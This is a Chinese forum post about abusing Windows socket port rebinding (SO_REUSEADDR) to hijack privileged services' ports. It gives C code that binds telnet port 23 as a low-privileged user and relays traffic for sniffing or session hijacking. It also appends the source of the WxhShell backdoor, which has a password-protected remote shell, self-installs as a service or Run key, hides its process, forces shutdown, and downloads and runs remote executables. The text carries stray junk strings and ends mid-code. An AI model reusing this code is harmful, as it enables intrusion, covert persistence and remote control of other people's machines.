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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [B,p,Q"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f".q9{+p,  
u _X} -U  
  saddr.sin_family = AF_INET; WRM$DA  
?cxr%`E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I61%H9 ;  
:rL?1"   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I-{^[pp  
GBr,LN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w"6aha*%7  
zn^v!:[  
  这意味着什么?意味着可以进行如下的攻击: `WlH*p)z9  
xp=Zd\5W$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X~zRZ0  
P57GqT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tj0Qr-/  
4Pf+]R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P4[]qbfd,  
Ge1duRGa  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7vq DZg  
V" }*"P-%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R9r)C{63S&  
1x;@~yU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,P~QS  
 `~h0?g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VH<e))5C  
kz_M;h>  
  #include 1~L\s}|2d  
  #include S2bexbp0o  
  #include ]f5c\\)  
  #include    Onyh1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i=V-@|Z  
  int main() ExqM1&zpK  
  { _1\poAy  
  WORD wVersionRequested; ;da4\bppt  
  DWORD ret; o Fi) d[`  
  WSADATA wsaData; jVs(x  
  BOOL val; .=CH!{j  
  SOCKADDR_IN saddr; V4Qz*z%  
  SOCKADDR_IN scaddr; lm!F M`m  
  int err; YLE/w@*  
  SOCKET s; '?b\F~$8  
  SOCKET sc; A`g.[7  
  int caddsize; m'c#uU  
  HANDLE mt; yduuFK  
  DWORD tid;   Wy!uRzbBv  
  wVersionRequested = MAKEWORD( 2, 2 ); ys/vI/e\  
  err = WSAStartup( wVersionRequested, &wsaData ); 0a@c/ XGBp  
  if ( err != 0 ) { \:h0w;34O  
  printf("error!WSAStartup failed!\n"); w~p4S+k&  
  return -1; zv,\@Z9.($  
  } +~:x}QwGT  
  saddr.sin_family = AF_INET; eA1'qww"'  
   n~.%p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <347 C{q  
Vl-D<M+i h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GG*BN<(>!  
  saddr.sin_port = htons(23); fs7~NY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mcCB7<. e  
  { 3eJ\aVI>pE  
  printf("error!socket failed!\n"); fG3wc l~  
  return -1; f^~2^p 1te  
  } t Z+0}d  
  val = TRUE; xS-w\vbLV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [@x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Zi ma^IL  
  { $vz_%Y  
  printf("error!setsockopt failed!\n"); 2UQN*_  
  return -1; Cy]"  
  } \G]K,TG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S3nB:$_-;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aD0Q0C+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \ =S3 L<  
Rz)v-Yu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x-tm[x@;o  
  {  B$@1QG  
  ret=GetLastError(); 9+W!k^VWq  
  printf("error!bind failed!\n"); iOKr9%9?Z  
  return -1; 9fCiLlI  
  } c]S+70!n  
  listen(s,2); Fka1]|j9  
  while(1) ^tQPJ  
  {  b$PT_!d  
  caddsize = sizeof(scaddr); r4;^c}  
  //接受连接请求 N`J:^,H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cAYa=}~<  
  if(sc!=INVALID_SOCKET) &t[z  
  { y?[5jL|Ue  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7YoofI  
  if(mt==NULL) F">Nrj-bs  
  { _3s~!2  
  printf("Thread Creat Failed!\n"); 3| GNi~  
  break; b5lk0jA  
  } #(m `2Z`H  
  } #FrwfJOV  
  CloseHandle(mt); j0ci~6&b3_  
  } p7%0hLW  
  closesocket(s); 4he v ;  
  WSACleanup(); ORUWsl Mt  
  return 0; le "JW/BD  
  }   t-3v1cv"  
  DWORD WINAPI ClientThread(LPVOID lpParam) %i;r]z-  
  { 2tm~QL  
  SOCKET ss = (SOCKET)lpParam; eD>-`'7<  
  SOCKET sc; _lP4ez Y  
  unsigned char buf[4096]; Zm"!E6`69  
  SOCKADDR_IN saddr; ;u4@iN}p  
  long num; hY\Eh.  
  DWORD val; /vFxVBX  
  DWORD ret; L7~+x^kw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (mD-FR@#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    }qgqb  
  saddr.sin_family = AF_INET; D#vn {^c8O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '6Pu[^x  
  saddr.sin_port = htons(23); r6gt9u:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9,Crmbw8  
  { "1gk-  
  printf("error!socket failed!\n"); >Hd~Ca>  
  return -1; 8GF[)z&|P:  
  } @p9e:[  
  val = 100; l<0[ K(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _qO;{%r  
  { ,H#qgnp  
  ret = GetLastError(); !`O_VV`/@  
  return -1; ZNL;8sI?>  
  } 89:?.'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u8{@PlS  
  { W<cW;mO  
  ret = GetLastError(); ^C,/T2>  
  return -1; 7gZVg@   
  } Q KcF1?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MA/"UV&M(  
  { <{-(\>f!9  
  printf("error!socket connect failed!\n"); B $ y44  
  closesocket(sc); qH {8n`  
  closesocket(ss); &kXGWp  
  return -1; s= GOB"G  
  } ^2Fs)19R  
  while(1) (> +k3  
  { :?&WKW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }v'PY/d.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZH`K%h0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )\I? EU8  
  num = recv(ss,buf,4096,0); tLoD"/z  
  if(num>0) (to/9OrG  
  send(sc,buf,num,0); 2RSHB o  
  else if(num==0) +,{Wcb  
  break; "t%1@b*u  
  num = recv(sc,buf,4096,0); vxzf[  
  if(num>0) Dbkuh!R  
  send(ss,buf,num,0); 0Z1H6qn  
  else if(num==0) ;I`,ZKY  
  break; !e#I4,fn  
  } QU,TAO  
  closesocket(ss); HhY2`P8  
  closesocket(sc); cV=_G E  
  return 0 ; yTq(x4]  
  } xj00eL  
Ei?9M^w  
.1[2 CjQ  
========================================================== /F8\%l+  
dx?njR  
下边附上一个代码,,WXhSHELL oX:1 qJrC  
jN'fm  
========================================================== )o'U0rAx|a  
#iqhm,u7D  
#include "stdafx.h" @L>NN>?SGQ  
J:mu%N`  
#include <stdio.h> (-Ct!aW|  
#include <string.h> ,T21z}r  
#include <windows.h> ~a8G 5M  
#include <winsock2.h> ncw?;  
#include <winsvc.h> `9Q,=D+  
#include <urlmon.h> ubN"(F:!-S  
O.up%' %,  
#pragma comment (lib, "Ws2_32.lib") Zh~Lm  
#pragma comment (lib, "urlmon.lib") lJ>QTZH!wW  
VqO<+~M,E  
#define MAX_USER   100 // 最大客户端连接数 >s 8:1l  
#define BUF_SOCK   200 // sock buffer 3EW f|6RI  
#define KEY_BUFF   255 // 输入 buffer p`l[cVQ<  
@|UIV  
#define REBOOT     0   // 重启 v YmtpKNj%  
#define SHUTDOWN   1   // 关机 5dNf$a0E  
o|*|  
#define DEF_PORT   5000 // 监听端口 PHiX:0zT  
U0bE B  
#define REG_LEN     16   // 注册表键长度 U37?P7i's  
#define SVC_LEN     80   // NT服务名长度 5vh"PlK`s  
SeJFZ0p  
// 从dll定义API 8,H5G`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uI-7 6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q"K>ML>0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `@.s!L(V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I#hg(7|",  
&_^*rD~  
// wxhshell配置信息 $8T|r+<  
struct WSCFG { [?f.0q  
  int ws_port;         // 监听端口 ?VN]0{JSp  
  char ws_passstr[REG_LEN]; // 口令 53+rpU_  
  int ws_autoins;       // 安装标记, 1=yes 0=no eN?P) ,  
  char ws_regname[REG_LEN]; // 注册表键名 O\8|niW|  
  char ws_svcname[REG_LEN]; // 服务名 Py25k 0j!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ):\{n8~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'St= izhd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,vdP #:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a4CNPf<$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |e[0Qo@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .5CELtR  
u+gXBU  
}; +=H>s;B  
[11-`v0  
// default Wxhshell configuration .rB;zA;4S)  
struct WSCFG wscfg={DEF_PORT, |%cO"d^ri  
    "xuhuanlingzhe", FR6I+@ oX~  
    1, ~$ qJw?r  
    "Wxhshell", DUliU8B}\  
    "Wxhshell", ;pyJ O_R[  
            "WxhShell Service", (cA|N0  
    "Wrsky Windows CmdShell Service", 898wZ{9  
    "Please Input Your Password: ", _5S$mc8K0  
  1, &b6@_C9  
  "http://www.wrsky.com/wxhshell.exe", CU`Oc>;*T  
  "Wxhshell.exe" Tl7:}X<?  
    }; od's1'c R  
<J }9.k  
// 消息定义模块 iE gM ~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sCCr%r]zL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n_&)VF#n(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N3c)ce7[  
char *msg_ws_ext="\n\rExit."; 2 Yd~v|  
char *msg_ws_end="\n\rQuit."; +U)|&1oa  
char *msg_ws_boot="\n\rReboot..."; ^W[`##,{Od  
char *msg_ws_poff="\n\rShutdown..."; -qP[$Q  
char *msg_ws_down="\n\rSave to "; E1ob+h:`d  
Ci9wF (<k  
char *msg_ws_err="\n\rErr!"; BCZnF /Zo  
char *msg_ws_ok="\n\rOK!"; YJvT p~  
[%,=0P}  
char ExeFile[MAX_PATH]; skx=w<YO6]  
int nUser = 0; 9x^ /kAB  
HANDLE handles[MAX_USER]; vfTG*jG  
int OsIsNt; @%G"i:HZ&  
rZQHB[^3  
SERVICE_STATUS       serviceStatus; UXB8sS*wQ?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZV4' |q  
/D]r "-  
// 函数声明 U105u.#7  
int Install(void); !enz05VW6.  
int Uninstall(void); WM )g(i~(  
int DownloadFile(char *sURL, SOCKET wsh); :p)9Heu  
int Boot(int flag); A?k,}~  
void HideProc(void); +9rbQ? '  
int GetOsVer(void); J7^T!7V.  
int Wxhshell(SOCKET wsl); N_[ Q.HD"  
void TalkWithClient(void *cs); YgOgYo{E!  
int CmdShell(SOCKET sock); +1fOW4!5  
int StartFromService(void); j =%-b]  
int StartWxhshell(LPSTR lpCmdLine); a(T4WDl^  
n(O p<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }4]x"DfIg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2MzFSmhc"  
@@mW+16  
// 数据结构和表定义 * t9qH  
SERVICE_TABLE_ENTRY DispatchTable[] = WREGRy  
{ -"9)c^KVx  
{wscfg.ws_svcname, NTServiceMain}, ?Cfp=85ea!  
{NULL, NULL} 5<?$/H|7T  
}; p:   
<[l}^`IC^4  
// 自我安装 >Nl~"J|]q  
int Install(void) l<_mag/j9o  
{ .h^Ld,Chj  
  char svExeFile[MAX_PATH]; %-po6Vf  
  HKEY key; K :ptfD  
  strcpy(svExeFile,ExeFile); ([o:_5/8I  
jt?%03iuk  
// 如果是win9x系统,修改注册表设为自启动 c}s3c >`d  
if(!OsIsNt) { @soW f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uxiX"0)g>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W?Abx  
  RegCloseKey(key); xmd$Jol^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S9055`v5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _tJURk%  
  RegCloseKey(key); bGO_y]Pc  
  return 0; d0E5;3tQ  
    } :u93yH6~8  
  } _Fy:3,(  
} F$p,xFH#  
else { baGI(Dk  
G=Bj1ss.  
// 如果是NT以上系统,安装为系统服务 S]@iS[|?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,1h(k<-  
if (schSCManager!=0) )d Dmq  
{ <WkLwP3^  
  SC_HANDLE schService = CreateService ,W;8!n0  
  ( ,kuOaaV7K  
  schSCManager, e$I:[>  
  wscfg.ws_svcname, o:ob1G[p%  
  wscfg.ws_svcdisp, 7@]hu^)rry  
  SERVICE_ALL_ACCESS, <-7Ha_#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T8 /'`s  
  SERVICE_AUTO_START, ]2 N';(R  
  SERVICE_ERROR_NORMAL, oD`BX  
  svExeFile, hUc |Xm  
  NULL, n&&y\?n  
  NULL, \LXNdE2B  
  NULL, Np_6ZUaqz  
  NULL, i/B"d,=<  
  NULL "$9ZkADO  
  ); B)*%d7=x  
  if (schService!=0) UQr+\ u  
  { FiL JF!  
  CloseServiceHandle(schService); AlV2tffY^  
  CloseServiceHandle(schSCManager); tJ3s#q6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (avaTUMOqy  
  strcat(svExeFile,wscfg.ws_svcname); /2I("x]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hq8.O/Y"=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S_=uv)%a  
  RegCloseKey(key); #{sb>^BF  
  return 0; gUQCKNw  
    } vkLG<Y  
  } af{K4:I  
  CloseServiceHandle(schSCManager); E"!*ASN  
} ,B><la87  
} `dhK$jYD  
un=)k;oh  
return 1; Z O^ +KE"  
} 4mg&H0 !  
aleIy}"  
// 自我卸载 =?hlgQ  
int Uninstall(void) cj)~7 WF  
{ 0Jrk(k!  
  HKEY key; L3\{{QOA  
!j@ 8:j0WY  
if(!OsIsNt) { .>e~J+oL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;MD{p1w  
  RegDeleteValue(key,wscfg.ws_regname); j!/(9*\  
  RegCloseKey(key); ~x+w@4)a>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { va.wdk g  
  RegDeleteValue(key,wscfg.ws_regname); W` V  
  RegCloseKey(key); ] $*cmk(Y  
  return 0; Oh: -Y]m=  
  } R<)uvW_@  
} >v{m^|QqB  
} OZ&aTm :  
else { ?{'Q}%  
V RL6F2 >6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #S5vX<"9  
if (schSCManager!=0) <LE>WfmC  
{ ~i4@sz&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^B/{  
  if (schService!=0) Jor?;qo3  
  { Sn]A0J_  
  if(DeleteService(schService)!=0) { :?TV6M  
  CloseServiceHandle(schService); h4C B1K  
  CloseServiceHandle(schSCManager); mon(A|$|j  
  return 0; C~B^sG@;  
  } .B@;ch,  
  CloseServiceHandle(schService); $f%_ 4 =  
  } J=sQ].EK  
  CloseServiceHandle(schSCManager); %`~8j H@  
} T-MLW=Vu  
} J_,y?}.e3  
~(c<ioIf  
return 1; {`:!=  
} 3yQ(,k#  
S=o/n4@}  
// 从指定url下载文件 4 ClW*l  
int DownloadFile(char *sURL, SOCKET wsh) n\QG-?%Pi  
{ Uhf -}Jdw  
  HRESULT hr; ' ySWf,Q^  
char seps[]= "/"; X*b0qJ Z  
char *token; k3Y>QN|q8  
char *file; X'5te0v`3  
char myURL[MAX_PATH]; Z?~7#F~Z`  
char myFILE[MAX_PATH]; #M:W?&.  
IL<5Suz:  
strcpy(myURL,sURL); (Az^st/_  
  token=strtok(myURL,seps); P iN3t]2  
  while(token!=NULL) u3q!te  
  { 0Y\u,\GrxW  
    file=token; &B) F_EI  
  token=strtok(NULL,seps); #xO`k1W.  
  } 6ik6JL$AI  
,[A} 86  
GetCurrentDirectory(MAX_PATH,myFILE); Dv$xP)./  
strcat(myFILE, "\\"); i'a M#4V  
strcat(myFILE, file); +q3W t|  
  send(wsh,myFILE,strlen(myFILE),0); sg3%n0Ms.W  
send(wsh,"...",3,0); [ML4<Eb+ x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cewQQ&  
  if(hr==S_OK)  W?.Y%wc0  
return 0; '0[l'Dt'  
else "zr%Q'Ky  
return 1; Bq'hk<ns[  
zj8;ENhEI  
} ==$Ox6.  
2-8<uUy  
// 系统电源模块 Jg7IGU(dct  
int Boot(int flag) K\ZKVn  
{ xe 6x!  
  HANDLE hToken; E;%{hAD{  
  TOKEN_PRIVILEGES tkp; 9!o:)99U  
:^l`m9  
  if(OsIsNt) { %!WQ;(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KBXdr52"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vq x;FAqZ  
    tkp.PrivilegeCount = 1; !]W6i]p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?vvjwys@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c!s{QWd%  
if(flag==REBOOT) { dlyE2MiL:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !DLIIKO78  
  return 0; W(EU*~<UC  
} a "8/y4Y  
else { #*?a"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N@*v'MEko%  
  return 0; T?Gi;ld7  
} <TDgv%eg0  
  } :  wb\N'b  
  else { nJrV  
if(flag==REBOOT) { C}wmoYikV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {n{ j*+  
  return 0; g(|p/%H  
} ,>e)8  
else { GN(PH/fO9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :*Sl\:_X)  
  return 0; <^OGJ}G  
} ;p) gTQa  
} ~u7a50  
.DIHd/wA  
return 1; h2K1|PUKl[  
} vA"yy"B+ V  
Bz]j&`  
// win9x进程隐藏模块 9tqX77UK  
void HideProc(void) ga0W;Vq&X  
{ ,}F{V>dhn  
N(6|TE2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UjUDP>iz.>  
  if ( hKernel != NULL ) r>A, 7{  
  {  pb6z)8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D<C ZhYJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Dtt[a  
    FreeLibrary(hKernel); Cz8=G;\  
  } 2wpLP^9Vr<  
gtqgf<mS  
return; mQ:lj$Gf  
} m<hR Lo  
&qF   
// 获取操作系统版本 ?3k;Yg/  
int GetOsVer(void) V1,O7m+F2  
{ Ks7DoXCvE  
  OSVERSIONINFO winfo; CZuV{Oh}?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =T|Z[/fto  
  GetVersionEx(&winfo); #'_i6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ok  iI:  
  return 1; ~f;d3dJ]/  
  else ix [aS  
  return 0; #0zMPh /U}  
} m?`U;R[  
2*ZB[5_V  
// 客户端句柄模块 2 <y!3OeN  
int Wxhshell(SOCKET wsl) LhUrVydL  
{ ]9pK^<  
  SOCKET wsh; OjcxD5"v9  
  struct sockaddr_in client; g!,>.  
  DWORD myID; 0L9z[2sj  
c!d>6:\  
  while(nUser<MAX_USER) :U$<h  
{ )`, Bt  
  int nSize=sizeof(client); \'q 9,tP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *VmJydd  
  if(wsh==INVALID_SOCKET) return 1; 0Rz'#O32V  
oj/,vO:QT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WPPz/c|j  
if(handles[nUser]==0) &!x!j ,nT  
  closesocket(wsh); vc0'x4  
else 7 ^>UUdk(  
  nUser++; mR\rK&'6  
  } hN=YC\l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qv>?xKSm  
h&|q>M3  
  return 0; .KSPr  
} # xx{}g]%  
A%qlB[!:  
// 关闭 socket v!{mpF  
void CloseIt(SOCKET wsh) 3GqvL_  
{ V<A_c^unO  
closesocket(wsh); + KGZk?%  
nUser--; yqi=9NB  
ExitThread(0); +nU"P  
} \D}K{P  
KjFNb;mM  
// 客户端请求句柄 (\S/  
void TalkWithClient(void *cs) !*JE%t  
{ G9"2h \  
_?$P?  
  SOCKET wsh=(SOCKET)cs; >*rH Nf  
  char pwd[SVC_LEN]; A14}  
  char cmd[KEY_BUFF]; %P05k  
char chr[1]; = zJY5@^'7  
int i,j; f-!t31?XK  
DG1C_hu i  
  while (nUser < MAX_USER) { O {u^&V]  
7v\K,P8  
if(wscfg.ws_passstr) { Q%:#xG5AmE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  0].*eM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lW}"6@0,  
  //ZeroMemory(pwd,KEY_BUFF); WPLM*]6  
      i=0; H=Sy.  
  while(i<SVC_LEN) { eTVI.B@p  
5[NF  
  // 设置超时 QJ1_LJ4)a  
  fd_set FdRead; (9R;a np  
  struct timeval TimeOut; 3%c{eZxG=  
  FD_ZERO(&FdRead); gQHE2$i>  
  FD_SET(wsh,&FdRead); O :P%gz4  
  TimeOut.tv_sec=8; d9@!se9&Z  
  TimeOut.tv_usec=0; Ewg5s?2|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RDX".'`(=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &d/v/Y  
k\,01Y^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G;r-f63N  
  pwd=chr[0]; uEp v l  
  if(chr[0]==0xd || chr[0]==0xa) { M`{x*qR  
  pwd=0; 1~X~"M  
  break; J*@(rb#G  
  } NY]`1yy  
  i++; O}VI8OB(&  
    } ]u~6fknm  
QvB]?D#h  
  // 如果是非法用户,关闭 socket }*0OLUFFJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i^hgs`hvU  
} "n'LF?/H'  
^ 'jJ~U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !L5[s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  &gIDcZ  
5$SO  
while(1) { bvM\Qzc!<3  
3'(w6V  
  ZeroMemory(cmd,KEY_BUFF); tF> ?]  
K]q9wR'q  
      // 自动支持客户端 telnet标准   7=jeq|&kN  
  j=0; j\t"4=,n  
  while(j<KEY_BUFF) { xHN"7j}h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >{_`J  
  cmd[j]=chr[0]; y~jKytq^@  
  if(chr[0]==0xa || chr[0]==0xd) { /W !A^  
  cmd[j]=0; tmAc=?|Wa  
  break; K<`"Sr  
  } Epm'u[wV  
  j++; :hB 8hTw]p  
    } v6{qKpU#  
7X|M\WUq  
  // 下载文件 z` b. ~<P  
  if(strstr(cmd,"http://")) { E3N4(V\*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ii%n:0+zm  
  if(DownloadFile(cmd,wsh)) 8e_ITqV%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #]`ejr:2O  
  else H^s@qh)L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #N-NI+qX  
  } oL'  :07_  
  else { ; *G[3kk  
~5aq.hF1,A  
    switch(cmd[0]) { :z=/z!5:j  
  Zxw>|eKI>D  
  // 帮助 7QiJ1P.z  
  case '?': { "yMr\jt~-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _tE$a3`  
    break; 7Kx3G{5ja  
  } eW*nRha  
  // 安装 E&k{ubcT  
  case 'i': { LyA=(h6  
    if(Install()) -0| '{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m{gK<T  
    else 'Mjbvh4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :SSlUl4sU$  
    break; :xd&V%u`  
    } >gDsjHQ6;  
  // 卸载 3"'|Ql.H  
  case 'r': { BY: cSqAW  
    if(Uninstall()) n }lav  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n?@o:c5,r  
    else .a:Oj3=0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lkp!S3,  
    break; N i^pP@('  
    } 7<{Zq8)  
  // 显示 wxhshell 所在路径 #'z\[^vp  
  case 'p': { 6m21Y8N  
    char svExeFile[MAX_PATH]; }/G~"&N[  
    strcpy(svExeFile,"\n\r"); }}~ ^!  
      strcat(svExeFile,ExeFile); F!{N4X>%T  
        send(wsh,svExeFile,strlen(svExeFile),0); \`x'r$CV  
    break; hmkcW r`  
    } Z.m.Uyz{7  
  // 重启 ;BoeE3* 6  
  case 'b': { _*Vq1D]C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `(.ue8T  
    if(Boot(REBOOT)) fE)+9!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UR-e'Z&]  
    else { UeE& 8{=d  
    closesocket(wsh); oTOe(5N8a  
    ExitThread(0); +C\?G/  
    } cJ:BEe  
    break; [ sz#*IJ  
    } A@'):V8_%C  
  // 关机 w _eu@R:u@  
  case 'd': { LEVNywk[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Re<X~j5]  
